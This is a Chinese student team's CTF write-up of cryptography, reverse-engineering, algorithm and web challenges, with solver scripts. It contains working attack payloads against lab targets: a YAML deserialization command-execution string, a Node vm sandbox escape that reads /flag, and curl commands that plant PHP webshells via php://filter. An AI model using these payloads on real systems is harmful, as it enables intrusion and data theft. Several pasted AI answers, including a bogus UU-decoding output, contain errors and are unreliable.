战队名称

写的都队

比赛排名

总分数：4440

学生组/大一新生组排名：12

总排名：12

战队成员

用户名 wzn987、真实姓名 温正楠

用户名不懂。、真实姓名 吴意

签到

1、打开网站，进入虚拟环境，发现要提交图片

2、上百度搜了一下，交上去了

GCC 偷走了重要的函数！

1、查看 python 里的代码，发现是一段编译并检测 c 语言的代码，要求通过检测并输出 Hello World

2、检测内容是代码第一个节点不能使用函数定义或声明，所以使用 int x;即可绕过检测。

3、输入代码 int x; int main(){puts("Hello World");return 0;}

Yaml 笑传之 CCB

1. 通过查看 main 函数可知，要利用 yaml 反序列化的漏洞
2. 对反序列不怎么了解，通过上网搜索和 ai，得到 yaml 反序列化的关键攻击代码，!! - 表示这是一个 YAML 标签，python/object/apply - 指定要应用一个 Python 对象/函数
   os.system - 要调用的具体 Python 函数，即执行系统命令

   args: ['env | grep -i flag']-表示 os.system 这个函数的装填参数，意为从环境变量里获取名为 flag 的值

3. 构建攻击代码!!python/object/apply:os.system

args: ['env | grep -i flag']输入得到 flag

玄机在哪

1. 刚开始以为是有密码隐藏在邮件中，找半天没找到有什么规律
2. 然后问了 ai 也没有什么解决办法，ai 卡在分析邮件内神秘数字那一步了
3. 之后我干脆把邮件内容复制到百度搜索，看看有没有什么类似题目。结果发现这是一种加密算法，垃圾邮件加密！
4. 直接找网站进行解密，解密出来是一大段叫声助词。我发现这段文字只由四个字符组成，正在想有没有什么四个字符的加密算法。突然意识到，这不会也是经典的类似垃圾邮件的小众加密吧。发现是兽语加密。
5. 直接找网站解密，解密出来一段乱码字符。于是意识到可能是 base 或者 hex 加密，但全试过了，都不对，直接放到百度上搜，也没有任何有用结果。
6. 这里卡了好久，试了很多加密算法都不对，然后我把题目和加密内容复制上去问 ai。ai 指出题目中出现了 uu，极其可能在提示 uu 加密，于是试了 uu 加密，得到 flag

根据您的描述，第三层加密字符串为：
`M=&AE<F5?:7-?9FQA9SI"251S,D-41GM":71?:$%V15]5;DQI;6E4141?4$]T '16YT:4%,?0``

经过分析，该字符串是经过UU编码的。UU编码是一种将二进制数据转换为可打印字符的编码方式，常用于Unix系统。解码后，可以得到原始数据。

使用UU解码对字符串进行解码（忽略第一个字符'M'作为长度指示符，直接解码后续字符串），得到以下字节序列：

```
116, 104, 101, 114, 101, 95, 105, 115, 95, 125, 153, 177, 133, 156, 233, 9, 37, 115, 50, 67, 84,
70, 123, 9, 165, 209, 125, 161, 5, 217, 21, 125, 85, 185, 49, 165, 181, 165, 81, 21, 17, 125,
65, 61, 208, 1, 209, 91, 157, 26, 20, 199, 208
```

将这些字节转换为ASCII字符，得到解码后的文本：

easyAES

1. 一道简单的 aes 加密算法题，直接运行解密代码即可

   运行

   K = 54755426038978086460310747316994556563126341157253266647920514387148480709140

   enc_flag = b'K\x04?\'\xc1<\xe0\x15\xd2i\x8b\xb1"9?)\x1a\xb3)\xd6a\xfa\x9c\x84*\x0fi\xf7\xa4\x85\xd2\x1d'

```
K_bytes = long_to_bytes(K, 32)


a = K_bytes[0]
b = K_bytes[1]

for i in range(0, 16, 2):
    assert K_bytes[i] == a, "密钥结构验证失败"
for i in range(1, 16, 2):
    assert K_bytes[i] == b, "密钥结构验证失败"

key = bytes([a, b]) * 16

key_long = bytes_to_long(key)
iv_long = key_long ^ K
iv = long_to_bytes(iv_long, 16)

aes = AES.new(key, AES.MODE_CBC, iv)
flag = aes.decrypt(enc_flag)

print("flag：", flag.decode('utf-8'))
```

   即可

Are you crazy

1. 打开程序，发现是一个自定义的 RSA 加密实现，不太懂 RSA 解密，于是用 ai
2. 写脚本，利用给定的 R、n 和 c 来恢复 m，然后分解 m 得到 m1 和 m2，最后计算它们的 MD5 哈希值来获取 flag 即可（这里使用 ai 生成代码）

   程序功能详解

   1. **生成两个素数（m1 和 m2）**：
      - 使用自定义的 `getPrime` 函数生成两个512位的素数 `m1` 和 `m2`。
      - `getPrime` 函数通过将小素数（来自 `sieve_base`）随机相乘，直到结果达到指定位数，然后加1并检查是否为素数来生成素数。
   2. **计算标志（flag）**：
      - 将 `m1` 和 `m2` 转换为字节，计算它们的MD5哈希值。
      - 标志格式为 `BITs2CTF{m1_md5<*_*>m2_md5}`，其中 `m1_md5` 和 `m2_md5` 是 `m1` 和 `m2` 的MD5哈希值。
   3. **生成公钥和私钥**：
      - 使用 `genkey` 函数生成公钥 `(e, R, n)` 和私钥 `(p, q)`。
      - `genkey` 函数生成一个随机整数列表 `R`（每个元素1024位），和一个随机整数 `r`。
      - 计算 `p = vinad(r, R)`，其中 `vinad` 函数基于 `x` 和 `R` 计算一个整数（通过异或和奇偶校验位）。
      - 确保 `p` 是素数，然后计算 `e = vinad(r + 0x10001, R)`，并检查 `e` 与 `(p-1)(q-1)` 互质。
      - 模数 `n = p * q`。
   4. **加密消息**：
      - 消息 `m = m1 * m2` 被加密为 `c = pow(m + sum(R), e, n)`。
   5. **输出参数**：
      - 程序打印 `R`、`n` 和 `c`，这些参数可用于解密。
3.

```
import math

from math import gcd

import hashlib

def parinad(n):

    return bin(n).count('1') % 2

def primes_up_to(n):

    sieve = [True] * (n+1)

    sieve[0] = sieve[1] = False

    for i in range(2, int(n**0.5) + 1):
```

```
        if sieve[i]:
            for j in range(i*i, n+1, i):
                sieve[j] = False
    primes = []
    for i in range(2, n+1):
        if sieve[i]:
            primes.append(i)
    return primes
def pollard_p1(n, B=1000000):
    a = 2
    primes_list = primes_up_to(B)
    for p in primes_list:
        p_power = p
        while p_power * p <= B:
            p_power *= p
        a = pow(a, p_power, n)
        g = gcd(a - 1, n)
        if g > 1 and g < n:
            return g
    return None
def main():
    with open('output.txt', 'r') as f:
        lines = f.readlines()
    R_line = lines[0].strip()
    n_line = lines[1].strip()
    c_line = lines[2].strip()
    R = eval(R_line.split('=')[1].strip())
```

```
n = eval(n_line.split('=')[1].strip())
c = eval(c_line.split('=')[1].strip())
print("读取 R, n, c 完成")
print("n 的位数:", n.bit_length())
print("R 的长度:", len(R))
S = sum(R)
print("S 计算完成")
A_bits = []
for r in R:
    A_bits.append(parinad(r))
A_str = ''.join(str(b) for b in A_bits)
A = int(A_str, 2)
print("A 计算完成，位数:", A.bit_length())
B_bits = [1 - b for b in A_bits]
B_str = ''.join(str(b) for b in B_bits)
B = int(B_str, 2)
print("B 计算完成，位数:", B.bit_length())
p = None
q = None
if n % A == 0:
    p = A
    q = n // A
    print("找到 p 来自 A")
elif n % B == 0:
    p = B
    q = n // B
    print("找到 p 来自 B")
```

```
else:
    print("错误：A 和 B 都不能整除 n")
    return

print("p 的位数:", p.bit_length())
print("q 的位数:", q.bit_length())
phi = (p - 1) * (q - 1)
print("phi 计算完成")
e = None
if p == A:
    if gcd(A, phi) == 1:
        e = A
        print("e = A")
    elif gcd(B, phi) == 1:
        e = B
        print("e = B")
    else:
        print("错误：没有 e 满足 gcd(e, phi)=1")
        return
else:
    if gcd(A, phi) == 1:
        e = A
        print("e = A")
    elif gcd(B, phi) == 1:
        e = B
        print("e = B")
    else:
```

```
            print("错误：没有 e 满足 gcd(e, phi)=1")
            return
d = pow(e, -1, phi)
print("d 计算完成")
dec = pow(c, d, n)
m_plus_S = dec
m = m_plus_S - S
print("m 计算完成，位数:", m.bit_length())
print("开始分解 m...")
f1 = pollard_p1(m, B=1000000)
if f1 is None:
    print("使用 B=1000000 分解失败，尝试 B=10000000")
    f1 = pollard_p1(m, B=10000000)
if f1 is None:
    print("使用 B=10000000 分解失败，尝试 B=100000000")
    f1 = pollard_p1(m, B=100000000)
if f1 is None:
    print("分解失败，需要其他方法")
    return
f2 = m // f1
print("找到因子，f1 位数:", f1.bit_length(), "f2 位数:", f2.bit_length())
m1_bytes = f1.to_bytes((f1.bit_length() + 7) // 8, 'big')
m2_bytes = f2.to_bytes((f2.bit_length() + 7) // 8, 'big')

md5_m1 = hashlib.md5()
md5_m1.update(m1_bytes)
m1_md5 = md5_m1.hexdigest()
```

```
    md5_m2 = hashlib.md5()
    md5_m2.update(m2_bytes)
    m2_md5 = md5_m2.hexdigest()
    flag = 'BITs2CTF{' + m1_md5 + '<*_*>' + m2_md5 + '}'
    print("flag:", flag)
if __name__ == '__main__':
    main()
```

remaining thing

1. 又是一道 RSA 加密题，代码如下（本人不熟悉 RSA 加密，于是编写过程参考了网上 RSA 经典解法和 ai 建议，下一道题目同理）

```
    raise ValueError("判别式不是完全平方数")
F1 = (S + root) // 2
F2 = (S - root) // 2

# 将F1和F2转换为字节
flag1 = long_to_bytes(F1)
flag2 = long_to_bytes(F2)
flag = flag1 + flag2

print(flag.decode())
```

代码说明：

1. **读取输入**：从 `secret.txt` 中读取 `N`、`m1` 和 `m2` 的值。
2. **分解N**：由于 `p` 和 `q` 是连续素数，通过计算 `N` 的平方根并找到下一个素数来得到 `p`，然后计算 `q = N // p`。
3. **RSA解密**：计算私钥参数 `d`，然后解密 `m1` 和 `m2` 得到 `c1` 和 `c2`。
4. **解方程**：利用 `c1` 和 `c2` 的关系，求出 `F1` 和 `F2`。
5. **恢复flag**：将 `F1` 和 `F2` 转换为字节并组合成完整的flag。

运行此代码将输出flag。确保 `secret.txt` 与代码在同一目录下。

本回答由 AI 生成，内容仅供参考，请仔细甄别。

2.

```
import sympy
import math
from Crypto.Util.number import long_to_bytes
with open('secret.txt', 'r') as f:
    data = f.read().splitlines()
N = int(data[0].split('=')[1])
m1 = int(data[1].split('=')[1])
m2 = int(data[2].split('=')[1])
p = sympy.nextprime(math.isqrt(N))
q = N // p
```

```
assert p * q == N
e = 0x10001
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
c1 = pow(m1, d, N)
c2 = pow(m2, d, N)
# 现在有 c1 = F1 + F2, c2 = F1^3 + F2^3
# 设 S = c1，则 c2 = S^3 - 3*S*F1*F2
# 所以 F1*F2 = (S^3 - c2) / (3*S)
S = c1
P = (S**3 - c2) // (3 * S)    # P = F1 * F2
# F1 和 F2 是方程 x^2 - S*x + P = 0 的根
disc = S**2 - 4*P
if disc < 0:
    raise ValueError("判别式为负，无实数解")
root = math.isqrt(disc)
if root**2 != disc:
    raise ValueError("判别式不是完全平方数")
F1 = (S + root) // 2
F2 = (S - root) // 2
# 将 F1 和 F2 转换为字节
flag1 = long_to_bytes(F1)
flag2 = long_to_bytes(F2)
flag = flag2 + flag1
print(flag.decode())
```

babyRSA

1. 简单的 rsa 加密题，代码如下

```
import gmpy2
from functools import reduce

# 已知题目数据
e = 3
N1 =
19831146070473780450608271965513333016477420167810804693209535211751519378798100050738385201161854775668250184491612993710844933532155638787045219486707787420282058177611838960790320734624809796310926894615507014393905439164108305343147056285187048 03
C1 =
13192445407076444144417541514427188094854353253584529650871742429298429176122106888115309616831240701274243771913770298764454625711248881032556304446303580561665126886670936043604468812024111116443358272674121554396071146617853939756537893431091839 55
N2 =
66111404265300574613935728983655950688111510106384565086238514901421964133746188531859108773677252707542147423426687722933483143467420638917923485639731545533291089547341393165686480533491924103483747009620183498000762679606287593577239113476062047 33
C2 =
41998123843875621116729989501531316956049116280732482300490270393719879500976089055100523216197820417935038248527006621265771328125158252787890936500616657191006849984874487887897908316503588758727613717876734500568394557092081398962537850559205431 04
N3 =
14126749535297606509514418674348551918358936748316341471639452521057767873962355396372423101375036984635365376397773384541330304056627522956980062104259147867100357268271782395123516284699902354599667106061620180566549332990378692446782196699116141 17
C3 =
41663026452800366344084116174180504236555705080505184877204086431216138707209002745841467383559886160630317645159881729713488002376046452536102884351087721916511569274797438511760002651174638774663418515491471728733423349429301126162379031930269212 4
```

```
def gcd(a, b):
    while b:
        a, b = b, a % b
    return a
assert gcd(N1, N2) == 1
assert gcd(N1, N3) == 1
assert gcd(N2, N3) == 1
print("模数两两互质，满足 Hastad 攻击条件")
def crt(remainders, moduli):
    """
    求解同余方程组：x ≡ remainders[0] mod moduli[0], x ≡ remainders[1] mod moduli[1], ...
    返回 x 和 moduli 的乘积
    """
    x = 0
    M = reduce(lambda a, b: a * b, moduli)
    for a_i, m_i in zip(remainders, moduli):
        M_i = M // m_i
        # 求 M_i 在模 m_i 下的逆元
        inv_Mi = gmpy2.invert(M_i, m_i)
        x += a_i * M_i * inv_Mi
    return x % M, M

remainders = [C1, C2, C3]
moduli = [N1, N2, N3]
m3, M = crt(remainders, moduli)

m = gmpy2.iroot(m3, 3)[0]

m_bytes = m.to_bytes((m.bit_length() + 7) // 8, byteorder='big')

valid_chars = [b for b in m_bytes if 32 <= b <= 126]

flag = bytes(valid_chars).decode('ascii')

print("解密得到的 flag：", flag)
```

1zvm

1. 是沙箱逃逸题目，本人不熟悉沙箱逃逸，于是上网搜索相关资料，构建攻击
   this.constructor.constructor('return process')().mainModule.require('fs').readFileSync('/flag', 'utf8');
   即用 this 访问外部，在外部创建返回 process 的函数并执行，得到进程。然后在主进程加载文件系统模块，读取文件 flag 即可

exit

1.

<?php highlight_file(__FILE__); $end = "<?php echo 'Party is over. Please exitttt'; exit;?>"; $code = $end.$_POST["code"]; @file_put_contents($_POST["filename"], $code);

发现需要绕过 php 代码中的 exit;以此来读取环境中的 flag

2. 上网搜索绕过 php 的方法，先尝试了很多次令前面代码报错的机制来绕过，结果不可行。然后看到了可以利用 **php://filter** 进行死亡绕过，即 **php://filter** 可以设置写过滤器，将所有内容进行 base64 解码以后再写入文件，因此 exit 旁的非法字符都会无法解码过滤掉，导致 exit 命令失效

命令如下

curl -X POST http://127.0.0.1:3289/ -d "filename=php://filter/write=convert.base64-decode/resource=shell18.php" -d "code=APD9waHAgcHJpbnRfcihzY2FuZGlyKCcuJykpOyA/Pg=="

curl http://127.0.0.1:3289/shell18.php

得到目录

curl -X POST http://127.0.0.1:3289/ -d "filename=php://filter/write=convert.base64-decode/resource=shell20.php" -d "code=APD9waHAgc3lzdGVtKCdjYXQgMWRpb3Q5LnBocCcpOyA/Pg=="

curl http://127.0.0.1:3289/shell20.php

得到 Congratulations! This new party is for you only. Please go /tmp/fou1ag to get your reward!

curl -X POST http://127.0.0.1:3289/tmp/fou1ag -d "filename=php://filter/write=convert.base64-decode/resource=shell24.php" -d "code=APD9waHAgc3lzdGVtKCdjYXQgL3RtcC9mb3UxYWcnKTsgPz4="

curl http://127.0.0.1:3289/shell24.php

得到 flag

ChaCha20

使用 pycdc 反编译得到

```
# Source Generated with Decompyle++
# File: chacha20.pyc (Python 3.10)

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms
from cryptography.hazmat.backends import default_backend
from Crypto.Util.number import long_to_bytes, bytes_to_long
from secret import flag
import time
import random
import os

def chacha20_encrypt(plaintext = None, key = None, nonce = None):
    cipher = Cipher(algorithms.ChaCha20(key, nonce), None, default_backend(),
**('mode', 'backend'))
    encryptor = cipher.encryptor()
    ciphertext = encryptor.update(plaintext)
    return ciphertext

if __name__ == '__main__':
    k1 = bytes_to_long(os.urandom(32))
    n1 = bytes_to_long(os.urandom(16))
    print(f'''k1={k1}''')
    print(f'''n1={n1}''')
    random.seed(int(time.time()) % 100)
```

```
    k2 = random.getrandbits(128)
    n2 = random.getrandbits(64)
    key = long_to_bytes(k1 ^ k2)
    nonce = long_to_bytes(n1 ^ n2)
    encrypted_data = chacha20_encrypt(flag, key, nonce)
    print(f'''加密后: {encrypted_data.hex()}''')
```

于是容易写出解密代码:

```
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms
from cryptography.hazmat.backends import default_backend
from Crypto.Util.number import long_to_bytes, bytes_to_long
import random

def chacha20_encrypt(plaintext=None, key=None, nonce=None):
    cipher = Cipher(algorithms.ChaCha20(key, nonce), None, default_backend())
    encryptor = cipher.encryptor()
    return encryptor.update(plaintext)
k1 =
89156737880809474145449532029493055444849328922741582677584755390029529
653680
n1 = 209794022060737284785334570850445075 92
encrypted_hex =
"a8c123f27ed9d34a6040a98f0b9d5e22930ca34bd3195e27a1e73725aba2f3eff888"
encrypted_data = bytes.fromhex(encrypted_hex)
```

```
for seed in range(100):
    random.seed(seed)
    k2 = random.getrandbits(128)
    n2 = random.getrandbits(64)

    key = long_to_bytes(k1 ^ k2)
    nonce = long_to_bytes(n1 ^ n2)

    plaintext = chacha20_encrypt(encrypted_data, key, nonce)

    if b"BITs2CTF{" in plaintext:
        print(f"flag：{plaintext.decode()}")
        break
```

math

1. 反编译后发现核心内容
2. if (a1 <= 0x186A0 || a2 <= 0x186A0 || a3 <= 0x186A0 || a4 <= 0x186A0 || a5 <= 0x186A0 || a6 <= 0x186A0) return 0; if (a1 > 0xF423F || a2 > 0xF423F || a3 > 0xF423F || a4 > 0xF423F || a5 > 0xF423F || a6 > 0xF423F) return 0; v1 = (unsigned int)fun1(a1, a2) % 0xE8329; t1 = fun2(a1, a2); t2 = fun3(2u, a3); v2 = fun1(t1, t2); t3 = fun3(4u, a6); v3 = fun4(t3, a4); t4 = fun2(a4, a5); v4 = fun3(5u, t4); v5 = fun1(a1, a6); t5 = fun3(3u, a4); v6 = fun2(t5, t4); return v1 == 597141 && v2 == 1644082 && v3 == 1161537 && v4 == 343890 && v5 == 1136538 && v6 == 1952901; }
3. 明显需要使用 z3 求解器求解，于是使用代码

```
from z3 import *

a1 = BitVec('a1', 32)

a2 = BitVec('a2', 32)

a3 = BitVec('a3', 32)

a4 = BitVec('a4', 32)

a5 = BitVec('a5', 32)

a6 = BitVec('a6', 32)

s = Solver()

s.add((a1 + a2) % 951081 == 597141)

s.add(a1 - a2 + 2 * a3 == 1644082)

s.add((4 * a6) ^ (a4) == 1161537)

s.add(5 * (a4 - a5) == 343890)

s.add(a1 + a6 == 1136538)

s.add(3 * a4 - a4 + a5 == 1952901)

s.add(And(a1 > 0x186A0, a2 > 0x186A0, a3 > 0x186A0,

          a4 > 0x186A0, a5 > 0x186A0, a6 > 0x186A0))

s.add(And(a1 <= 0xF423F, a2 <= 0xF423F, a3 <= 0xF423F,

          a4 <= 0xF423F, a5 <= 0xF423F, a6 <= 0xF423F))
```

```
if s.check() == sat:
    ans = s.model()
    values = []
    for var in [a1, a2, a3, a4, a5, a6]:
        value = ans[var].as_long()
        values.append(value)
    flag = "BITs2CTF{" + ".join(f"{x:x}" for x in values) + "}"
    print(flag)
```

签顺道

1. 因为没学过 pwn 所以一直没做 pwn，但发现这题真的很简单
2. 先逆向，发现程序验证输入字符是否是 f8fqgfm 以进入终端
3. 使用 nc 连接虚拟环境输入 f8fqgfm 通过，从环境中获取 flag

A. 故障机器人

1.把题干化为：输入一个数 n，再输入 n 个数（都大于 0）。对这 n 个数从小到大排序，对最小的数-3，如果这个数被减后小于等于 0，则换下一个数，直到所有数都被减至 0 或 0 以下。输出为 x，x 为每次执行-3 后剩下的大于 0 的数的个数的和。

思路：先按升序排序，然后每次操作对最小数减 3。随后判断该数字是否小于等于 0，若小于等于 0，则移除该元素，随后故障机器人扣去剩余元素等同数量的血量；若大于 0，不移除该元素，故障机器人扣去剩余元素等同数量的血量。如此进行，直到某一次-3 后，剩余元素数量为 0，此时结束并输出故障机器人总共的扣血量。

2.C 语言代码实现。

3.AI 优化代码，使数值特别大时，代码响应时间也不超过 1 秒。

```
#include <iostream>

#include <vector>

#include <algorithm>

using namespace std;

int main() {

    int n;

    cin >> n;

    vector<long long> a(n);

    for (int i = 0; i < n; i++) {

        cin >> a[i];

    }

    // 按血量排序

    sort(a.begin(), a.end());

    long long total_damage = 0;


    // 计算总伤害

    for (int i = 0; i < n; i++) {

        // 计算需要攻击的次数 (向上取整)
```

```
        long long attacks = (a[i] + 2) / 3;
        // 每个攻击次数对总伤害的贡献是 (n-i) 倍
        total_damage += (n - i) * attacks;
    }
    // 减去异鸟数量得到最终结果
    total_damage -= n
    cout << total_damage << endl;
    return 0;
}
```

数学推导

设排序后的血量为 `a[0], a[1], ..., a[n-1]`

- 每只异鸟需要被攻击的次数：`x[i] = ceil(a[i] / 3)`
- 第i只异鸟的死亡回合：`d[i] = x[0] + x[1] + ... + x[i]`
- 总伤害 = `Σ(d[i]) - n`

可以优化为：总伤害 = `Σ((n-i) * x[i]) - n`

代码实现

cpp 复制 下载

```cpp
#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;

int main() {
    int n;
    cin >> n;
    vector<long long> a(n);

    for (int i = 0; i < n; i++) {
```

B. QwQwQwQ

1. 输入一串字符，把 q 替换成 qwq，其他字符不变。为了防止多次替换后的字符串过长，先确定最多需要替换多少次 q，只进行这么多次替换。随后按照要求对不同次替换数下的第某个字符进行输出。
2. C 语言代码实现。
3. AI 辅助纠错。

```
#include <iostream>

#include <string>

#include <vector>

using namespace std;

const int MAXK = 60;

const long long INF = 1e18;

char get_char(long long k, long long x, char c) {

    if (c != 'q') return c;

    if (k == 0) return c;

    if (k > MAXK) k = MAXK;

    long long L = (1LL << k) - 1;

    if (x <= L) {

        return get_char(k-1, x, 'q');

    } else if (x == L+1) {

        return 'w';

    } else {

        return get_char(k-1, x - (L+1), 'q');

    }

}


int main() {

    string s;
```

```
cin >> s;
int m;
cin >> m;
for (int i = 0; i < m; i++) {
    long long k, x;
    cin >> k >> x;
    long long current = 0;
    char ans = '0';
    for (int j = 0; j < s.size(); j++) {
        long long len;
        if (s[j] == 'q') {
            if (k <= MAXK) {
                len = (1LL << (k+1)) - 1;
            } else {
                len = INF;
            }
        } else {
            len = 1;
        }
        if (x <= current + len) {
            long long pos_in_seg = x - current;
            ans = get_char(k, pos_in_seg, s[j]);
            break;
        } else {
            current += len;
        }
    }
```

```
        cout << ans;
    }
    cout << endl;
    return 0;
}
```

方法思路

1. **问题分析**：每次操作将每个'q'替换为"qwq"，非'q'字符保持不变。经过k次操作后，字符串的长度会显著增加，尤其是当初始字符串中有多个'q'时。
2. **关键观察**：初始字符串中的每个字符在k次操作后生成一个片段。非'q'字符的片段长度始终为1，而'q'字符的片段长度为2^(k+1) - 1。当k较大时，片段长度可能超过10^9，因此可以设置一个上限（如60）来优化计算。
3. **递归搜索**：对于每个查询(k, x)，遍历初始字符串的字符，累积其生成的片段长度。当累积长度超过或等于x时，递归进入该片段定位目标字符。对于'q'字符，片段分为三部分：前一部分和後一部分是k-1次操作后的'q'片段，中间是'w'字符。

解决代码

cpp 复制 下载

```cpp
#include <iostream>
#include <string>
#include <vector>
using namespace std;

const int MAXK = 60;
const long long INF = 1e18;

char get_char(long long k, long long x, char c) {
```